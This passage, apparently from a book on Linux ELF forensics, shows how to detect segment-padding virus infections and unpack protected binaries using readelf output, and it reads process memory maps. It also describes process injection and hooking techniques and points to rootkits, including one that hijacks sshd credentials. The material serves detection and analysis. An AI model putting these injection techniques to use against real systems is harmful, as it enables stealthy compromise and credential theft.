 0x0000000000000007 (RELA)               0x400408

 0x0000000000000008 (RELASZ)             48 (bytes)

 0x0000000000000009 (RELAENT)            24 (bytes)

 0x000000006ffffffe (VERNEED)            0x4003e8

 0x000000006fffffff (VERNEEDNUM)         1

 0x000000006ffffff0 (VERSYM)             0x4003d8

 0x0000000000000001 (NEEDED)             Shared library: [evil.so]

 0x0000000000000000 (NULL)               0x0
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Identifying reverse text padding 
infections
This is a virus infection technique that we discussed in Chapter 4, ELF Virus 
Technology – Linux/Unix Viruses. The idea is that a virus or parasite can make room 
for its code by extending the text segment in reverse. The program header for the  
text segment will look strange if you know what you're looking for.

Let's take a look at an ELF 64-bit binary that has been infected with a virus that uses 
this parasite infection method:

readelf -l ./infected_host1

Elf file type is EXEC (Executable file)
Entry point 0x3c9040
There are 9 program headers, starting at offset 225344

Program Headers:
 Type         Offset             VirtAddr           PhysAddr
              FileSiz            MemSiz              Flags  Align
 PHDR         0x0000000000037040 0x0000000000400040 0x0000000000400040
              0x00000000000001f8 0x00000000000001f8  R E    8
 INTERP       0x0000000000037238 0x0000000000400238 0x0000000000400238
              0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
 LOAD         0x0000000000000000 0x00000000003ff000 0x00000000003ff000
              0x00000000000378e4 0x00000000000378e4  RWE    1000
 LOAD         0x0000000000037e10 0x0000000000600e10 0x0000000000600e10
              0x0000000000000248 0x0000000000000250  RW     1000
 DYNAMIC      0x0000000000037e28 0x0000000000600e28 0x0000000000600e28
              0x00000000000001d0 0x00000000000001d0  RW     8
 NOTE         0x0000000000037254 0x0000000000400254 0x0000000000400254
              0x0000000000000044 0x0000000000000044  R      4
 GNU_EH_FRAME 0x0000000000037744 0x0000000000400744 0x0000000000400744
              0x000000000000004c 0x000000000000004c  R      4
  GNU_STACK   0x0000000000037000 0x0000000000000000 0x0000000000000000
              0x0000000000000000 0x0000000000000000  RW     10
  GNU_RELRO   0x0000000000037e10 0x0000000000600e10 0x0000000000600e10
              0x00000000000001f0 0x00000000000001f0  R      1
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On Linux x86_64, the default virtual address for the text segment is 0x400000. This 
is because the default linker script used by the linker says to do so. The program 
header table (marked by PHDR, as highlighted in the preceding) is 64 bytes into 
the file and will therefore have a virtual address of 0x400040. From looking at the 
program headers in the preceding output, we can see that the text segment (the 
first LOAD line) does not have the expected address; instead it is 0x3ff000. Yet the 
PHDR virtual address is still at 0x400040, which tells you that at one point so was 
the original text segment address, and that something strange is going on here. This 
is because the text segment was essentially extended backward, as we discussed in 
Chapter 4, ELF Virus Technology – Linux/Unix Viruses.

0x3ff000

0x400000

0x601000

ELF FILE HEADER

PROGRAM HEADERS

Entry point transfers control to parasite

TEXT SEGMENT

PARASITE CODE

PROGRAM CODE

DATA SEGMENT

... ...

... ...

JMP TO ENTRY

Illustration – Diagram showing a reverse-text-infected executable

The following is an ELF file header of reverse-text-infected executables:

$ readelf -h ./infected_host1

ELF Header:

  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

  Class:                             ELF64

  Data:                              2's complement, little endian

  Version:                           1 (current)

  OS/ABI:                            UNIX - System V

  ABI Version:                       0

  Type:                              EXEC (Executable file)
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  Machine:                           Advanced Micro Devices X86-64

  Version:                           0x1

  Entry point address:               0x3ff040

  Start of program headers:          225344 (bytes into file)

  Start of section headers:          0 (bytes into file)

  Flags:                             0x0

  Size of this header:               64 (bytes)

  Size of program headers:           56 (bytes)

  Number of program headers:         9

  Size of section headers:           64 (bytes)

  Number of section headers:         0

  Section header string table index: 0

I have highlighted everything in the ELF header that is questionable:

• Entry point points into parasite area
• Start of program headers should only be 64 bytes
• Section header table offset is 0, as in stripped

Identifying text segment padding 
infections
This type of infection is relatively easy to detect. This type of infection was also 
discussed in Chapter 4, ELF Virus Technology – Linux/Unix Viruses. This technique 
relies on the fact that there is always going to be a minimum of 4,096 bytes between 
the text and the data segment because they are loaded into memory as two separate 
memory segments, and memory mappings are always page aligned.

On 64-bit systems, there is typically 0x200000 (2MB) free due to PSE (Page size 
extension) pages. This means that a 64-bit ELF binary can be inserted with a 2MB 
parasite, which is much larger than what is typically needed for an injection space. 
With this type of infection, like any other, you can often identify the parasite location 
by examining the control flow.
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With the lpv virus which I wrote in 2008, for instance, the entry point is modified 
to start execution at the parasite that is inserted using the text segment padding 
infection. If the executable that has been infected has a section header table, you  
will see that the entry point address resides in the range of the last section within  
the text segment. Let's take a look at a 32-bit ELF executable that has been infected 
using this technique.

0x8048ff0

0x8049c00

0x804ac00

Entry point transfers control to parasite

TEXT SEGMENT

PARASITE
4 KB

DATA SEGMENT

... ...

... ...

... ...

Jump back to original entry

entry point

Illustration – Diagram showing a text segment padding infection

The following is an ELF file header of the lpv infected file:

$ readelf -h infected.lpv

ELF Header:

  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00

  Class:                             ELF32

  Data:                              2's complement, little endian

  Version:                           1 (current)

  OS/ABI:                            UNIX - System V

  ABI Version:                       0

  Type:                              EXEC (Executable file)

  Machine:                           Intel 80386

  Version:                           0x1

  Entry point address:               0x80485b8

  Start of program headers:          52 (bytes into file)

  Start of section headers:          8524 (bytes into file)

  Flags:                             0x0

  Size of this header:               52 (bytes)

  Size of program headers:           32 (bytes)

  Number of program headers:         9

  Size of section headers:           40 (bytes)

  Number of section headers:         30

  Section header string table index: 27
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Notice the entry point address, 0x80485b8. Does this address point somewhere 
inside the .text section? Let's take a peek at the section header table and find out.

The following is an ELF section headers of the lpv infected file:

$ readelf -S infected.lpv

There are 30 section headers, starting at offset 0x214c:

Section Headers:

  [Nr] Name              Type         Addr        Off

       Size              ES           Flg Lk Inf Al

  [ 0]                   NULL         00000000    000000

       000000            00           0   0  0

  [ 1] .interp           PROGBITS     08048154    000154

       000013            00           A   0  0   1

  [ 2] .note.ABI-tag     NOTE         08048168    000168

       000020            00           A   0  0   4

  [ 3] .note.gnu.build-i NOTE         08048188    000188

       000024            00           A   0  0   4

  [ 4] .gnu.hash         GNU_HASH     080481ac    0001ac

       000020            04           A   5  0   4

  [ 5] .dynsym           DYNSYM       080481cc    0001cc

       000050            10           A   6  1   4

  [ 6] .dynstr           STRTAB       0804821c    00021c

       00004a            00           A   0  0   1

  [ 7] .gnu.version      VERSYM       08048266    000266

       00000a            02           A   5  0   2

  [ 8] .gnu.version_r    VERNEED      08048270    000270

       000020            00           A   6  1   4

  [ 9] .rel.dyn          REL          08048290    000290

       000008            08           A   5  0   4

  [10] .rel.plt          REL          08048298    000298

       000018            08           A   5  12  4

  [11] .init             PROGBITS     080482b0    0002b0

       000023            00           AX  0  0   4

  [12] .plt              PROGBITS     080482e0    0002e0

       000040            04           AX  0  0   16
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  [13] .text             PROGBITS     08048320    000320

       000192            00           AX  0  0   16

  [14] .fini             PROGBITS     080484b4    0004b4

       000014            00           AX  0  0   4

  [15] .rodata           PROGBITS     080484c8    0004c8

       000014            00           A   0  0   4

  [16] .eh_frame_hdr     PROGBITS     080484dc    0004dc

       00002c            00           A   0  0   4

  [17] .eh_frame         PROGBITS     08048508    000508

       00083b            00           A   0  0   4

  [18] .init_array       INIT_ARRAY   08049f08    001f08

       000004            00           WA   0  0   4

  [19] .fini_array       FINI_ARRAY   08049f0c    001f0c

       000004            00           WA   0  0   4

  [20] .jcr              PROGBITS     08049f10    001f10

       000004            00           WA   0  0   4

  [21] .dynamic          DYNAMIC      08049f14    001f14

       0000e8            08           WA   6  0   4

  [22] .got              PROGBITS     08049ffc    001ffc

       000004            04           WA   0  0   4

  [23] .got.plt          PROGBITS     0804a000    002000

       000018            04           WA   0  0   4

  [24] .data             PROGBITS     0804a018    002018

       000008            00           WA   0  0   4

  [25] .bss              NOBITS       0804a020    002020

       000004            00           WA   0  0   1

  [26] .comment          PROGBITS     00000000    002020

       000024            01           MS   0  0   1

  [27] .shstrtab         STRTAB       00000000    002044

       000106            00           0   0  1

  [28] .symtab           SYMTAB       00000000    0025fc

       000430            10           29  45 4

  [29] .strtab           STRTAB       00000000    002a2c

       00024f            00           0   0  1
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The entry point address falls within the .eh_frame section that is the last section in 
the text segment. This is clearly not the .text section that is enough reason to become 
immediately suspicious, and because the .eh_frame section is the last section in the 
text segment (which you can verify by using readelf -l), we are able to deduce that 
this Virus infection is probably using a text segment padding infection.The following 
are ELF program headers of the lpv infected file:

$ readelf -l infected.lpv

Elf file type is EXEC (Executable file)

Entry point 0x80485b8

There are 9 program headers, starting at offset 52

Program Headers:

  Type          Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align

  PHDR          0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4

  INTERP        0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1

      [Requesting program interpreter: /lib/ld-linux.so.2]

  LOAD          0x000000 0x08048000 0x08048000 0x00d43 0x00d43 R E 0x1000

  LOAD          0x001f08 0x08049f08 0x08049f08 0x00118 0x0011c RW  0x1000

  DYNAMIC       0x001f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4

  NOTE          0x001168 0x08048168 0x08048168 0x00044 0x00044 R   0x4

  GNU_EH_FRAME  0x0014dc 0x080484dc 0x080484dc 0x0002c 0x0002c R   0x4

  GNU_STACK     0x001000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10

  GNU_RELRO     0x001f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

 Section to Segment mapping:

  Segment Sections...

   00     

   01     .interp

   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym 
.dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text 
.fini .rodata .eh_frame_hdr .eh_frame

   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss

   04     .dynamic

   05     

   06     

   07     

   08     .init_array .fini_array .jcr .dynamic .got
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Based on everything highlighted in the preceding program header output, you can 
see the program entry point, the text segment (the first LOAD program header), and 
the fact that .eh_frame is the last section in the text segment.

Identifying protected binaries
Identifying a protected binary is the first step in reverse-engineering it. We discussed 
the common anatomy of protected ELF executables in Chapter 5, Linux Binary Protection. 
Remember from what we learned that a protected binary is actually two executables 
that have been merged together: you have the stub executable (the decryptor program) 
and then the target executable.

One program is responsible for decrypting the other, and it is this program that is 
going to typically be the wrapper that wraps or contains an encrypted binary within 
it, as a payload of sorts. Identifying this outer program that we call a stub is typically 
pretty easy because of the blatant oddities you will see in the program header table.

Let's take a look at a 64-bit ELF binary that is protected using a protector I wrote in 
2009 called elfcrypt:

$ readelf -l test.elfcrypt

Elf file type is EXEC (Executable file)

Entry point 0xa01136

There are 2 program headers, starting at offset 64

Program Headers:

  Type           Offset             VirtAddr           PhysAddr

                 FileSiz            MemSiz              Flags  Align

  LOAD           0x0000000000000000 0x0000000000a00000 0x0000000000a00000

                 0x0000000000002470 0x0000000000002470  R E    1000

  LOAD           0x0000000000003000 0x0000000000c03000 0x0000000000c03000

                 0x000000000003a23f 0x000000000003b4df  RW     1000

So what are we seeing here? Or rather what are we not seeing?

This almost looks like a statically compiled executable because there is no  
PT_DYNAMIC segment and there is no PT_INTERP segment. However, if we run this 
binary and check /proc/$pid/maps, we see that this is not a statically compiled 
binary, but is in fact dynamically linked.
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The following is the output from /proc/$pid/maps in the protected binary:
7fa7e5d44000-7fa7e9d43000 rwxp 00000000 00:00 0

7fa7e9d43000-7fa7ea146000 rw-p 00000000 00:00 0

7fa7ea146000-7fa7ea301000 r-xp 00000000 08:01 11406096  /lib/x86_64-linux-gnu/libc-2.19.
so7fa7ea301000-7fa7ea500000 ---p 001bb000 08:01 11406096  /lib/x86_64-linux-gnu/libc-2.19.
so

7fa7ea500000-7fa7ea504000 r--p 001ba000 08:01 11406096  /lib/x86_64-linux-gnu/libc-2.19.so

7fa7ea504000-7fa7ea506000 rw-p 001be000 08:01 11406096  /lib/x86_64-linux-gnu/libc-2.19.so

7fa7ea506000-7fa7ea50b000 rw-p 00000000 00:00 0

7fa7ea530000-7fa7ea534000 rw-p 00000000 00:00 0

7fa7ea535000-7fa7ea634000 rwxp 00000000 00:00 0                          [stack:8176]

7fa7ea634000-7fa7ea657000 rwxp 00000000 00:00 0

7fa7ea657000-7fa7ea6a1000 r--p 00000000 08:01 11406093  /lib/x86_64-linux-gnu/ld-2.19.so

7fa7ea6a1000-7fa7ea6a5000 rw-p 00000000 00:00 0

7fa7ea856000-7fa7ea857000 r--p 00000000 00:00 0

We can clearly see that the dynamic linker is mapped into the process address space, 
and so is libc. As discussed in Chapter 5, Linux Binary Protection, this is because the 
protection stub becomes responsible for loading the dynamic linker and setting up 
the auxiliary vector.

From the program header output, we can also see that the text segment address is 
0xa00000, which is unusual. The default linker script used for compiling executables 
in x86_64 Linux defines the text address as 0x400000, and on 32-bit systems it 
is 0x8048000. Having a text address other than the default does not, on its own, 
suggest anything malicious, but should immediately raise suspicion. In the case  
of a binary protector, the stub must have a virtual address that does not conflict  
with the virtual address of the self-embedded executable it is protecting.

Analyzing a protected binary
True binary protection schemes that really do a good job will not be very easy to 
circumvent, but in more cases than not you can use some intermediate reverse 
engineering efforts to get past the encryption layer. The stub is responsible for 
decrypting the self-embedded executable within it, which can therefore be extracted 
from memory. The trick is to allow the stub to run long enough to map the encrypted 
executable into memory and decrypt it.
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A very general algorithm can be used that tends to work on simple protectors, 
especially if they do not incorporate any anti-debugging techniques.

1. Determine the approximate number of instructions in the stub's text segment, 
represented by N.

2. Trace the program for N instructions.
3. Dump the memory from the expected location of the text segment  

(for example, 0x400000) and locate its data segment by using the  
program headers from the newly found text segment.

A good example of this simple technique can be demonstrated with Quenya,  
the 32-bit ELF manipulation software that I coded in 2008.

UPX uses no anti-debugging techniques and is therefore relatively 
straightforward to unpack.

The following are the program headers of a packed executable:

$ readelf -l test.packed

Elf file type is EXEC (Executable file)

Entry point 0xc0c500

There are 2 program headers, starting at offset 52

Program Headers:

  Type          Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align

  LOAD          0x000000 0x00c01000 0x00c01000 0x0bd03 0x0bd03 R E 0x1000

  LOAD          0x000f94 0x08063f94 0x08063f94 0x00000 0x00000 RW  0x1000

We can see that the stub begins at 0xc01000, and Quenya will presume that the real 
text segment is at the expected address for a 32-bit ELF executable: 0x8048000.

Here is Quenya using its unpack feature to decompress test.packed:

$ quenya

Welcome to Quenya v0.1 -- the ELF modification and analysis tool

Designed and maintained by ElfMaster

Type 'help' for a list of commands
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[Quenya v0.1@workshop] unpack test.packed test.unpacked

Text segment size: 48387 bytes

[+] Beginning analysis for executable reconstruction of process image 
(pid: 2751)

[+] Getting Loadable segment info...

[+] Found loadable segments: text segment, data segment

[+] text_vaddr: 0x8048000 text_offset: 0x0

[+] data_vaddr: 0x8062ef8 data_offset: 0x19ef8

[+] Dynamic segment location successful

[+] PLT/GOT Location: Failed

[+] Could not locate PLT/GOT within dynamic segment; attempting to skip 
PLT patches...

Opening output file: test.unpacked

Successfully created executable

As we can see, the Quenya unpack feature has allegedly unpacked the UPX packed 
executable. We can verify this by simply looking at the program headers of the 
unpacked executable:

readelf -l test.unpacked

Elf file type is EXEC (Executable file)

Entry point 0x804c041

There are 9 program headers, starting at offset 52

Program Headers:

  Type          Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align

  PHDR          0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4

  INTERP        0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1

      [Requesting program interpreter: /lib/ld-linux.so.2]

  LOAD          0x000000 0x08048000 0x08048000 0x19b80 0x19b80 R E 0x1000

  LOAD          0x019ef8 0x08062ef8 0x08062ef8 0x00448 0x0109c RW  0x1000

  DYNAMIC       0x019f04 0x08062f04 0x08062f04 0x000f8 0x000f8 RW  0x4

  NOTE          0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4

  GNU_EH_FRAME  0x016508 0x0805e508 0x0805e508 0x00744 0x00744 R   0x4

  GNU_STACK     0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10

  GNU_RELRO     0x019ef8 0x08062ef8 0x08062ef8 0x00108 0x00108 R   0x1
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Notice that the program headers are completely different from the ones we looked 
at previously when the executable was still packed. This is because we are no longer 
looking at the stub executable. We are looking at the executable that was compressed 
inside the stub. The unpacking technique we used is very generic and not very 
effective for more complicated protection schemes, but helps beginners gain an 
understanding into the process of reversing protected binaries.

IDA Pro
Since this book tries to focus on the anatomy of the ELF format, and the concepts 
behind analysis and patching techniques, we are less focused on which of the fancy 
tools to use. The very famous IDA Pro software has a well-deserved reputation. 
It is hands down the best disassembler and decompiler available to the public. It 
is expensive though, and unless you can afford a license, you may have settle for 
something a little less effective, such as Hopper. IDA Pro is quite complicated and 
requires an entire book unto itself, but in order to properly understand and use IDA 
Pro for ELF binaries, it is good to first understand the concepts taught in this book, 
which can then be applied when using IDA pro to reverse-engineer software.

Summary
In this chapter, you learned the fundamentals of ELF binary analysis. You examined 
the procedures involved in identifying various types of virus infection, function 
hijacking, and binary protection. This chapter will serve you well in the beginner to 
intermediate phases of ELF binary analysis: what to look for and how to identify it. 
In the following chapters, you will cover similar concepts, such as analyzing process 
memory for identifying anomalies such as backdoors and memory-resident viruses.

For those interested in knowing how the methods described in this chapter could be 
used in the development of an anti-virus or detection software, there do exist some 
tools I have designed that use similar heuristics  to those described in this chapter for 
detecting ELF infections. One of these tools is called AVU and was mentioned with a 
download link in Chapter 4, ELF Virus Technology – Linux/Unix Viruses. Another one is 
named Arcana and is still private. I have not personally seen any public products on 
the market though that use these types of heuristics on ELF binaries, although such 
tools are sorely needed to aid Linux binary forensics. In Chapter 8, ECFS – Extended 
Core File Snapshot Technology, we will explore ECFS, which is a technology I have  
been working on to help improve some of the areas where forensics capabilities  
are lacking, especially as it pertains to process memory forensics.
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Process Memory Forensics
In the previous chapter, we examined the key methods and ways to approach the 
analysis of an ELF binary in Linux, especially when concerning malware, and ways 
to detect the presence of a parasite within executable code.

Just as an attacker may patch a binary on disk, they may also patch a running 
program in memory to achieve similar goals, while avoiding being detected by 
programs that look for file modification, such as a tripwire. This sort of hot patching 
of a process image can be used to hijack functions, inject shared libraries, execute 
parasite shellcode, and so on. These types of infections are often the components 
needed for memory-resident backdoors, viruses, key loggers, and hidden processes.

An attacker can run sophisticated programs that will run cloaked 
within an existing process address space. This has been demonstrated 
with Saruman v0.1, which is available at http://www.bitlackeys.
org/#saruman.

The examination of a process image when performing forensics or runtime analysis 
is rather similar to looking at a regular ELF binary. There are more segments and 
overall moving pieces in a process address space, and the ELF executable will 
undergo some changes, such as runtime relocations, segment alignment, and  
.bss expansion.

However, in reality, the investigation steps are very similar for an ELF executable 
and an actual running program. The running program was initially created by the 
ELF images that are loaded into the address space. Therefore, understanding the  
ELF format will help understand how a process looks in memory.

http://www.bitlackeys.org/#saruman
http://www.bitlackeys.org/#saruman
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What does a process look like?
One important file on any Linux system is the /proc/$pid/maps file. This file shows 
the entire process address space of a running program, and it is something that I 
often parse in order to determine the location of certain files or memory mappings 
within a process.

On Linux kernels that have the Grsecurity patches, there is a kernel option called 
GRKERNSEC_PROC_MEMMAP that, if enabled, will zero out the /proc/$pid/
maps file so that you cannot see the address space values. This makes parsing a 
process from the outside a bit more difficult, and you must rely on other techniques 
such as parsing the ELF headers and going from there.

In the next chapter, we will be discussing the ECFS (short for 
Extended Core File Snapshot) format, which is a new ELF file format 
that expands on regular core files and contains an abundance of 
forensics-relevant data.

Here's an example of the process memory layout of the hello_world program:
$ cat /proc/`pidof hello_world`/maps

00400000-00401000 r-xp 00000000 00:1b 8126525    /home/ryan/hello_world

00600000-00601000 r--p 00000000 00:1b 8126525    /home/ryan/hello_world

00601000-00602000 rw-p 00001000 00:1b 8126525    /home/ryan/hello_world

0174e000-0176f000 rw-p 00000000 00:00 0          [heap]

7fed9c5a7000-7fed9c762000 r-xp 00000000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so

7fed9c762000-7fed9c961000 ---p 001bb000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so

7fed9c961000-7fed9c965000 r--p 001ba000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so

7fed9c965000-7fed9c967000 rw-p 001be000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so

7fed9c967000-7fed9c96c000 rw-p 00000000 00:00 0

7fed9c96c000-7fed9c98f000 r-xp 00000000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so

7fed9cb62000-7fed9cb65000 rw-p 00000000 00:00 0

7fed9cb8c000-7fed9cb8e000 rw-p 00000000 00:00 0

7fed9cb8e000-7fed9cb8f000 r--p 00022000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so

7fed9cb8f000-7fed9cb90000 rw-p 00023000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so

7fed9cb90000-7fed9cb91000 rw-p 00000000 00:00 0

7fff0975f000-7fff09780000 rw-p 00000000 00:00 0          [stack]

7fff097b2000-7fff097b4000 r-xp 00000000 00:00 0          [vdso]

ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0  [vsyscall]

The preceding maps file output shows the process address space of a very simple 
Hello World program. Let's go over it in several chunks, explaining each part.
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Executable memory mappings
The first three lines are the memory mappings for the executable itself. This is quite 
obvious because it shows the executable path at the end of the file mapping:

00400000-00401000 r-xp 00000000 00:1b 8126525  /home/ryan/hello_world
00600000-00601000 r--p 00000000 00:1b 8126525  /home/ryan/hello_world
00601000-00602000 rw-p 00001000 00:1b 8126525  /home/ryan/hello_world

We can see that:

• The first line is the text segment, which is easy to tell because the permissions 
are read plus execute

• The second line is the first part of the data segment, which has been marked 
as read-only due to RELRO (read-only relocation) security protection

• The third mapping is the remaining part of the data segment that is  
still writable

The program heap
The heap is typically grown right after the data segment. Before ASLR existed, it was 
extended from the end of the data segment address. Nowadays, the heap segment is 
randomly memory-mapped, but it can be found in the maps file right after the end of 
the data segment:

0174e000-0176f000 rw-p 00000000 00:00 0          [heap]

There are also anonymous memory mappings that may be created when a call to 
malloc() requests a chunk of memory that exceeds MMAP_THRESHOLD in size. These 
types of anonymous memory segments will not be marked with the [heap] label.

Shared library mappings
The next four lines are the memory mappings for the shared library, libc-2.19.
so. Notice that there is a memory mapping marked with no permissions between 
the text and data segments. This is simply for occupying space in that area so that no 
other arbitrary memory mappings may be created to use the space between the text 
and data segments:

7fed9c5a7000-7fed9c762000 r-xp 00000000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so

7fed9c762000-7fed9c961000 ---p 001bb000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so

7fed9c961000-7fed9c965000 r--p 001ba000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so

7fed9c965000-7fed9c967000 rw-p 001be000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so



Process Memory Forensics

[ 172 ]

In addition to regular shared libraries, there is the dynamic linker, which is also 
technically a shared library. We can see that it is mapped to the address space by 
looking at the file mappings right after the libc mappings:

7fed9c96c000-7fed9c98f000 r-xp 00000000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so

7fed9cb62000-7fed9cb65000 rw-p 00000000 00:00 0

7fed9cb8c000-7fed9cb8e000 rw-p 00000000 00:00 0

7fed9cb8e000-7fed9cb8f000 r--p 00022000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so

7fed9cb8f000-7fed9cb90000 rw-p 00023000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so

7fed9cb90000-7fed9cb91000 rw-p 00000000 00:00 0

The stack, vdso, and vsyscall
At the end of the maps file, you will see the stack segment, followed by VDSO  
(short for Virtual Dynamic Shared Object) and vsyscall:

7fff0975f000-7fff09780000 rw-p 00000000 00:00 0          [stack]
7fff097b2000-7fff097b4000 r-xp 00000000 00:00 0          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0  [vsyscall]

VDSO is used by glibc to invoke certain system calls that are frequently called and 
would otherwise create a performance issue. VDSO helps speed this up by executing 
certain syscalls in userland. The vsyscall page is deprecated on x86_64, but on 32-bit, 
it accomplishes the same thing as VDSO.

What the process looks like
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Process memory infection
There are many rootkits, viruses, backdoors, and other tools out there that can be used 
to infect a system's userland memory. We will now name and describe a few of these.

Process infection tools
• Azazel: This is a simple but effective LD_PRELOAD injection userland rootkit 

for Linux that is based on its predecessor rootkit named Jynx. LD_PRELOAD 
rootkits will preload a shared object into the program that you want to infect. 
Typically, such a rootkit will hijack functions such as open, read, write, and 
so on. These hijacked functions will show up as PLT hooks (modified GOT). 
For more information, visit https://github.com/chokepoint/azazel.

• Saruman: This is a relatively new anti-forensics infection technique that 
allows a user to inject a complete dynamically linked executable into an 
existing process. Both the injected and the injectee will run concurrently 
within the same address space. This allows stealthy and advanced remote 
process infection. For more information, visit https://github.com/
elfmaster/saruman.

• sshd_fucker (phrack .so injection paper): sshd_fucker is the software that 
comes with the Phrack 59 paper Runtime process infection. The software infects 
the sshd process and hijacks PAM functions that usernames and passwords 
are passed through. For more information, visit http://phrack.org/
issues/59/8.html

Process infection techniques
What does process infection mean? For our purposes, it means describing ways  
of injecting code into a process, hijacking functions, hijacking control flow, and 
anti-forensics tricks to make analysis more difficult. Many of these techniques 
were covered in Chapter 4, ELF Virus Technology – Linux/Unix Viruses, but we will 
recapitulate some of these here.

Injection methods
• ET_DYN (shared object) injection: This is accomplished using the ptrace() 

system call and shellcode that uses either the mmap() or __libc_dlopen_
mode() function to load the shared library file. A shared object might not be a 
shared object at all; it may be a PIE executable, as with the Saruman infection 
technique, which is a form of anti-forensics for allowing a program to run 
inside of an existing process address space. This technique is what I call 
process cloaking.

https://github.com/chokepoint/azazel
https://github.com/elfmaster/saruman
https://github.com/elfmaster/saruman
http://phrack.org/issues/59/8.html
http://phrack.org/issues/59/8.html
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LD_PRELOAD is another common trick for loading a malicious 
shared library into a process address space to hijack shared library 
functions. This can be detected by validating the PLT/GOT. The 
environment variables on the stack can also be analyzed to find out 
whether LD_PRELOAD has been set.

• ET_REL (relocatable object) injection: The idea here is to inject a relocatable 
object file into a process for advanced hot patching techniques. The ptrace 
system call (or programs that use ptrace(), such as GDB) can be used to 
inject shellcode into the process, which in turn memory-maps the object file 
to the memory.

• PIC code (shellcode) injection: Injecting shellcode into a process is typically 
done with ptrace. Often, shellcode is the first stage in injecting more 
sophisticated code (such as ET_DYN and ET_REL files) into the process.

Techniques for hijacking execution
• PLT/GOT redirection: Hijacking shared library functions is most commonly 

accomplished by modifying the GOT entry for the given shared library so 
that the address reflects the location of the code injected by the attacker. 
This is essentially the same thing as overwriting a function pointer. We will 
discuss methods of detecting this later in this chapter.

• Inline function hooking: This method, also called function trampolines, is 
common both on disk and in memory. An attacker can replace the first 5 to 
7 bytes of code in a function with a jmp instruction that transfers control to 
a malicious function. This can be detected easily by scanning the initial byte 
code in every function.

• Patching .ctors and .dtors: The .ctors and .dtors sections in a binary (which 
can be located in the memory) contain an array of function pointers for 
initialization and finalization functions. These can be patched by an attacker 
on disk and in memory so that they point to parasite code.

• Hijacking VDSO for syscall interception: The VDSO page that is mapped 
to the process address space contains code for invoking system calls. An 
attacker can use ptrace(PTRACE_SYSCALL, …) to locate this code and then 
replace the %rax register with the system call number that they want to 
invoke. This allows a clever attacker to invoke any system call that they want 
to in a process without having to inject shellcode. Check out this paper I 
wrote in 2009; it describes the technique in detail at http://vxheaven.org/
lib/vrn00.html.

http://vxheaven.org/lib/vrn00.html
http://vxheaven.org/lib/vrn00.html
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Detecting the ET_DYN injection
I think that the most prevalent type of process infection is DLL injection, also known 
as .so injection. It is a clean and effective solution that suits the needs of most 
attackers and runtime malware. Let's take a look at an infected process, and I will 
highlight the ways in which we can identify parasite code.

The terms shared object, shared library, DLL, and ET_DYN are all used 
synonymously throughout this book, especially in this particular section.

Azazel userland rootkit detection
Our infected process is a simple test program named ./host that is infected with the 
Azazel userland rootkit. Azazel is the newer version of the popular Jynx rootkit. Both 
of these rootkits rely on LD_PRELOAD to load a malicious shared library that hijacks 
various glibc shared library functions. We will inspect the infected process using 
various GNU tools and the Linux environment, such as the /proc filesystem.

Mapping out the process address space
The first step while analyzing a process is to map out the address space. The most 
straightforward way to do this is by looking at the /proc/<pid>/maps file. We want 
to take note of any strange file mappings and segments with odd permissions. Also 
in our case, we may need to check the stack for environment variables, so we will 
want to take note of its location in memory.

The pmap <pid> command can also be used instead of cat  
/proc/<pid>/maps. I prefer looking directly at the maps file because 
it shows the entire address range of each memory segment and the 
complete file path of any file mappings, such as shared libraries.

Here's an example of memory mappings of an infected process ./host:
$ cat /proc/`pidof host`/maps

00400000-00401000 r-xp 00000000 00:24 5553671       /home/user/git/azazel/host

00600000-00601000 r--p 00000000 00:24 5553671       /home/user/git/azazel/host

00601000-00602000 rw-p 00001000 00:24 5553671       /home/user/git/azazel/host

0066c000-0068d000 rw-p 00000000 00:00 0              [heap]
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3001000000-3001019000 r-xp 00000000 08:01 11406078  /lib/x86_64-linux-gnu/libaudit.so.1.0.0

3001019000-3001218000 ---p 00019000 08:01 11406078  /lib/x86_64-linux-gnu/libaudit.so.1.0.0

3001218000-3001219000 r--p 00018000 08:01 11406078  /lib/x86_64-linux-gnu/libaudit.so.1.0.0

3001219000-300121a000 rw-p 00019000 08:01 11406078  /lib/x86_64-linux-gnu/libaudit.so.1.0.0

300121a000-3001224000 rw-p 00000000 00:00 0

3003400000-300340d000 r-xp 00000000 08:01 11406085    /lib/x86_64-linux-gnu/libpam.so.0.83.1

300340d000-300360c000 ---p 0000d000 08:01 11406085    /lib/x86_64-linux-gnu/libpam.so.0.83.1

300360c000-300360d000 r--p 0000c000 08:01 11406085    /lib/x86_64-linux-gnu/libpam.so.0.83.1

